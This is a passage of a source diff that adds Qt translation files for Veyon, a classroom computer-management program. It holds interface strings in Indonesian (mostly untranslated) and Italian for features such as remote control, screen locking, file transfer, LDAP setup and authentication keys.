property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + Server demo + + + Tunables + + + + ms + + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + MB + + + Update interval + + + + s + + + + + DemoFeaturePlugin + + Fullscreen demo + + + + Stop demo + + + + Window demo + + + + Give a demonstration by screen broadcasting + + + + Demo server + Server demo + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + Konfirmasi akses desktop + + + Never for this session + Tidak pernah untuk sesi ini + + + Always for this session + Selalu untuk sesi ini + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + Nama + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + + + + Language: + + + + Use system language setting + + + + Veyon + + + + Logging + + + + Log file directory + + + + ... + ... + + + Log level + + + + Nothing + + + + Only critical messages + + + + Errors and critical messages + + + + Warnings and errors + + + + Information, warnings and errors + + + + Debug messages and everything else + + + + Limit log file size + + + + Clear all log files + + + + Log to standard error output + + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + + + + All log files were cleared successfully. + + + + Error + + + + Could not remove all log files. + + + + MB + MB + + + Rotate log files + + + + x + + + + seconds + + + + Write to logging system of operating system + + + + Authentication + + + + Method: + + + + Logon authentication + + + + Key file authentication + + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + Umum + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + Tes + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + Masukkan nama pengguna + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + Tidak ada + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + Tampilkan bantuan untuk perintah spesifik + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + + + + toolBar + + + + General + Umum + + + &File + + + + &Help + + + + &Quit + + + + Ctrl+Q + + + + Ctrl+S + + + + L&oad settings from file + + + + Ctrl+O + + + + About Qt + + + + Authentication impossible + + + + Configuration not writable + + + + Load settings from file + + + + Save settings to file + + + + Unsaved settings + + + + There are unsaved settings. Quit anyway? + + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + Tentang Veyon + + + Auto + + + + Computer rooms + + + + About + Tentang + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + Akses ditolak + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + + + + ... + ... + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + + + + Background color + + + + Thumbnail update interval + + + + ms + + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Tes + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + Tampilkan bantuan untuk perintah spesifik + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + Ruang/Komputer + + + + PasswordDialog + + Username + Nama Pengguna + + + Password + Kata sandi + + + Veyon Logon + Masuk Veyon + + + Authentication error + Otentikasi gagal + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + Nyalakan + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + Nyalakan Ulang + + + Click this button to reboot all computers. + Klik tombol ini untuk menyalakan ulang semua komputer. + + + Power down + Matikan + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + + + + Open a remote control window for a computer. + + + + Remote access + + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + + + + Remote control + + + + Send shortcut + + + + Fullscreen + Layar penuh + + + Window + Jendela + + + Quit + Keluar + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Menu + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + + + + Connected. + Tersambung. + + + Screenshot + Tangkapan layar + + + + RoomSelectionDialog + + Room selection + + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + Jalankan program + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + Kunci + + + Unlock + Buka kunci + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + Tangkapan layar + + + + ScreenshotFeaturePlugin + + Screenshot + Tangkapan layar + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + Pengguna: + + + Date: + Tanggal: + + + Time: + Waktu: + + + Show + Tampilkan + + + Delete + Hapus + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + Komputer: + + + + ServiceConfigurationPage + + General + Umum + + + Autostart + Mulai otomatis + + + Hide tray icon + Sembunyikan ikon baki + + + Start service + Mulai layanan + + + Stopped + Dihentikan + + + Stop service + Hentikan layanan + + + State: + Status: + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + Jaringan + + + Demo server port + + + + Enable firewall exception + Aktifkan pengecualian firewall + + + Allow connections from localhost only + + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + Berjalan + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + Mulai layanan %1 + + + Stopping service %1 + Matikan layanan %1 + + + Registering service %1 + Daftarkan layanan %1 + + + Unregistering service %1 + Batalkan pendaftaran layanan %1 + + + Service control + Kontrol Layanan + + + + ServiceControlPlugin + + Service is running + Layanan berjalan + + + Service is not running + Layanan tidak berjalan + + + Configure and control Veyon service + Konfigurasi dan kontrol layanan Veyon + + + Register Veyon Service + Daftarkan Layanan Veyon + + + Unregister Veyon Service + Batalkan Pendaftaran Layanan Veyon + + + Start Veyon Service + Mulai Layanan Veyon + + + Stop Veyon Service + Hentikan Layanan Veyon + + + Restart Veyon Service + Restart Layanan Veyon + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + Berkas "%1" tidak ada! + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + Ikon baki sistem + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + Kirim pesan teks + + + Use the field below to type your message which will be sent to all selected users. + + + + + TextMessageFeaturePlugin + + Text message + + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + Pesan dari guru + + + Send a message to a user + Kirim pesan pada pengguna + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + + + + Confirm user logout + + + + Do you really want to logout the selected users? + + + + Logout + Keluar + + + + VeyonCore + + [OK] + [OK] + + + [FAIL] + [GAGAL] + + + Invalid command! + Perintah salah! + + + Available commands: + Perintah yang tersedia: + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + Hasil tidak diketahui + + + Available modules: + Modul yang tersedia: + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + Layanan Veyon + + + + VncView + + Establishing connection to %1 ... + + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/it_IT.ts b/translations/it_IT.ts new file mode 100644 index 0000000..cb5e0bc --- /dev/null +++ b/translations/it_IT.ts @@ -0,0 +1,3912 @@ + + + AboutDialog + + About + Informazioni su + + + Translation + Traduzione + + + License + Licenza + + + About Veyon + Informazioni su Veyon + + + Contributors + Contribuitori + + + Version: + Versione: + + + Website: + Sito Web: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + La lingua corrente non è ancora stata tradotta completamente (dall'inglese). + +Se sei interessato alla traduzione di Veyon nella tua lingua locale o in qualche altra lingua o vuoi migliorare una traduzione esistente, contatta uno sviluppatore Veyon! + + + About %1 %2 + Informazioni su %1 %2 + + + Support Veyon project with a donation + Supporta il progetto Veyon con una donazione + + + + AccessControlPage + + Computer access control + Controllo accesso al computer + + + Grant access to every authenticated user (default) + Garantire l'accesso a tutti gli utenti autenticati (predefinito) + + + Test + Prova + + + Restrict access to members of certain user groups + Limita l'accesso ai soli membri di alcuni gruppi di utenti + + + Process access control rules + Elabora le regole di controllo di accesso + + + User groups authorized for computer access + Gruppi di utenti autorizzati all'accesso al computer + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Aggiungere i gruppi i cui membri dovrebbero essere autorizzati ad accedere ai computer della rete Veyon. + + + Authorized user groups + Gruppi di utenti autorizzati + + + All groups + Tutti i gruppi + + + ... + ... + + + Access control rules + Regole di controllo d'accesso + + + Add access control rule + Aggiungi regola di controllo d'accesso + + + Remove access control rule + Rimuovi tutte le regole di controllo d'accesso + + + Move selected rule down + Sposta la regola selezionata in basso + + + Move selected rule up + Sposta la regola selezionata in alto + + + Edit selected rule + Modifica la regola selezionata + + + Enter username + Inserire il nome utente + + + Please enter a user login name whose access permissions to test: + Inserire un nome utente di login per provarne i permessi di accesso: + + + Access allowed + Accesso consentito + + + The specified user is allowed to access computers with this configuration. + All'utente specificato è consentito accedere ai computer con questa configurazione. + + + Access denied + Accesso negato + + + The specified user is not allowed to access computers with this configuration. + L'utente indicato non è abilitato ad accedere a computer con questa confiugurazione. + + + Enable usage of domain groups + Abilitare l'utilizzo di gruppi di dominio + + + User groups backend: + Backend del gruppo utenti: + + + Missing user groups backend + Backend dei gruppi utente non presente + + + No default user groups plugin was found. Please check your installation! + Non è stato trovato alcun plug-in predefinito per gruppi di utenti. Per favore controlla la tua installazione! + + + + AccessControlRuleEditDialog + + Edit access control rule + Modifica la regola di controllo d'accesso + + + General + Generale + + + enter a short name for the rule here + inserire qui un nome compatto per la regola + + + Rule name: + Nome regola: + + + enter a description for the rule here + inserire qui una descrizione per la regola + + + Rule description: + Descrizione della regola: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Inverti tutte le condizioni ("è/ha" interpretato come "non è/ha") + + + Conditions + Condizioni + + + is member of group + è membro del gruppo + + + is located in room + è nella stanza + + + Accessing computer is localhost + Il computer in cui si sta entrando è localhost + + + Accessing user is logged on user + L'utente che sta entrando è registrato sull'utente + + + Accessing user is already connected + L'utente che sta entrando è già connesso + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Se è attivata più di una condizione, ciascuna condizione deve essere soddisfatta affinchè la regola venga applicata (AND logico). Se invece solo una condizione è richiesta (OR logico), allora per favore creare regole multiple di controllo accesso. + + + Action + Azione + + + Allow access + Permette l'accesso + + + Deny access + Nega l'accesso + + + Ask logged on user for permission + Chiedi permesso all'utente collegato + + + None (rule disabled) + Nessuna (regola disabilitata) + + + Accessing user + L'utente che sta entrando + + + Accessing computer + Il computer che sta entrando + + + Local (logged on) user + Utente locale (collegato) + + + Local computer + Computer locale + + + Always process rule and ignore conditions + Elabora sempre la regola ed ignora le condizioni + + + No user logged on + Nessun utente connesso + + + Accessing computer is located in the same room as local computer + Il computer a cui si sta accedendo è situato nella stessa aula del computer locale + + + Accessing user has one or more groups in common with local (logged on) user + L'utente a cui si sta accedendo ha uno o più gruppi in comune con l'utente locale (l'utente ora loggato). + + + + AccessControlRulesTestDialog + + Access control rules test + Verifica regole di controllo d'accesso + + + Accessing user: + Utente che sta entrando: + + + Local computer: + Computer locale: + + + Accessing computer: + Computer che sta entrando: + + + Please enter the following user and computer information in order to test the configured ruleset. + Per favore immettere le seguenti informazioni su utente e computer per procedere al test dell'insieme di regole configurate. + + + Local user: + Utente locale: + + + Connected users: + Utenti connessi: + + + The access in the given scenario is allowed. + L'accesso allo scenario fornito è consentito. + + + The access in the given scenario is denied. + L'accesso allo scenario fornito è negato. + + + The access in the given scenario needs permission of the logged on user. + L'accesso allo scenario fornito richiede l'autorizzazione dell'utente connesso. + + + ERROR: Unknown action + ERRORE: azione sconosciuta + + + Test result + Risultati del test + + + + AuthKeysConfigurationPage + + Authentication keys + Chiavi di autenticazione + + + Introduction + Introduzione + + + Key file directories + Cartelle per i file delle chiavi + + + Public key file base directory + Cartella chiave Pubblica + + + Private key file base directory + Cartella chiave Privata + + + ... + ... + + + Available authentication keys + Chiavi di autenticazione disponibili + + + Create key pair + Crea una coppia di chiavi + + + Delete key + Cancella la chiave + + + Import key + Importa la chiave + + + Export key + Esporta la chiave + + + Set access group + Imposta il gruppo di accesso + + + Key files (*.pem) + File di chiave (*.pem) + + + Authentication key name + Nome della chiave di autenticazione + + + Please enter the name of the user group or role for which to create an authentication key pair: + Inserire il nome del gruppo utenti o del ruolo per cui si vuole creare una coppia di chiavi di autenticazione: + + + Do you really want to delete authentication key "%1/%2"? + Vuoi davvero eliminare la chiave di autenticazione %1/%2"? + + + Please select a key to delete! + Seleziona la chiave da eliminare! + + + Please enter the name of the user group or role for which to import the authentication key: + Inserire il nome del gruppo o ruolo dell'utente per il quale importare la chiave di autenticazione: + + + Please select a key to export! + Seleziona la chiave da esportare! + + + Please select a user group which to grant access to key "%1": + Seleziona un gruppo di utenti per concedere l'accesso alla chiave "% 1": + + + Please select a key which to set the access group for! + Si prega di selezionare una chiave per impostare il gruppo di accesso! + + + Please perform the following steps to set up key file authentication: + Effettuare le seguenti operazioni per configurare l'autenticazione del file chiave: + + + 1) Create a key pair on the master computer. + 1) Creare una coppia di chiavi sul computer master. + + + 2) Set an access group whose members should be allowed to access other computers. + 2) Impostare un gruppo di accesso i cui membri dovrebbero poter accedere ad altri computer. + + + 3) Export the public key and import it on all client computers with the same name. + 3) Esportare la chiave pubblica e importarla su tutti i computer client con lo stesso nome. + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + Per ulteriori informazioni, consultare il <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Manuale dell'amministratore di Veyon</a>. + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + Una coppia di chiavi di autenticazione è composta da due chiavi crittografiche accoppiate, una privata e una chiave pubblica. Una chiave privata consente agli utenti del computer master di accedere ai computer client. È importante che solo gli utenti autorizzati abbiano accesso in lettura al file della chiave privata. La chiave pubblica viene utilizzata sui computer client per autenticare la richiesta di connessione in entrata. + + + + AuthKeysManager + + Please check your permissions. + Per favore controlla le tue autorizzazioni. + + + Key name contains invalid characters! + Il nome della chiave contiene caratteri non validi! + + + Invalid key type specified! Please specify "%1" or "%2". + Tipo di chiave non valido specificato! Si prega di specificare "% 1" o "% 2". + + + Specified key does not exist! Please use the "list" command to list all installed keys. + La chiave specificata non esiste! Si prega di utilizzare il comando "lista" per elencare tutte le chiavi installate. + + + One or more key files already exist! Please delete them using the "delete" command. + Uno o più file chiave esistono già! Per favore cancellali usando il comando "cancella". + + + Creating new key pair for "%1" + Creazione di una nuova coppia di chiavi per "% 1" + + + Failed to create public or private key! + Impossibile creare una chiave pubblica o privata! + + + Newly created key pair has been saved to "%1" and "%2". + La coppia di chiavi appena creata è stata salvata in "% 1" e "% 2". + + + Could not remove key file "%1"! + Impossibile rimuovere il file chiave "% 1"! + + + Could not remove key file directory "%1"! + Impossibile rimuovere la directory del file di chiavi "% 1"! + + + Failed to create directory for output file. + Impossibile creare la directory per il file di output. + + + File "%1" already exists. + Il file "% 1" esiste già. + + + Failed to write output file. + Impossibile scrivere il file di output. + + + Key "%1/%2" has been exported to "%3" successfully. + Il tasto "% 1 /% 2" è stato esportato correttamente in "% 3". + + + Failed read input file. + File di input di lettura non riuscito. + + + File "%1" does not contain a valid private key! + Il file "% 1" non contiene una chiave privata valida! + + + File "%1" does not contain a valid public key! + Il file "% 1" non contiene una chiave pubblica valida! + + + Failed to create directory for key file. + Impossibile creare la directory per il file chiave. + + + Failed to write key file "%1". + Impossibile scrivere il file chiave "% 1". + + + Failed to set permissions for key file "%1"! + Impossibile impostare le autorizzazioni per il file chiave "% 1"! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + Il tasto "% 1 /% 2" è stato importato correttamente. Controlla i permessi dei file di "% 3" per impedire accessi non autorizzati. + + + Failed to convert private key to public key + Impossibile convertire la chiave privata in chiave pubblica + + + Failed to create directory for private key file "%1". + Impossibile creare la directory per il file di chiave privata "% 1". + + + Failed to save private key in file "%1"! + Impossibile salvare la chiave privata nel file "% 1"! + + + Failed to set permissions for private key file "%1"! + Impossibile impostare le autorizzazioni per il file della chiave privata "% 1"! + + + Failed to create directory for public key file "%1". + Impossibile creare la directory per il file di chiave pubblica "% 1". + + + Failed to save public key in file "%1"! + Impossibile salvare la chiave pubblica nel file "% 1"! + + + Failed to set permissions for public key file "%1"! + Impossibile impostare le autorizzazioni per il file di chiave pubblica "% 1"! + + + Failed to set owner of key file "%1" to "%2". + Impossibile impostare il proprietario del file chiave "% 1" su "% 2". + + + Failed to set permissions for key file "%1". + Impossibile impostare le autorizzazioni per il file chiave "% 1". + + + Key "%1" is now accessible by user group "%2". + Il tasto "% 1" è ora accessibile dal gruppo di utenti "% 2". + + + <N/A> + <N/A> + + + Failed to read key file. + Impossibile leggere il file chiave. + + + + AuthKeysPlugin + + Create new authentication key pair + Crea una nuova coppia di chiavi di autenticazione + + + Delete authentication key + Elimina la chiave di autenticazione + + + List authentication keys + Elenca le chiavi di autenticazione + + + Import public or private key 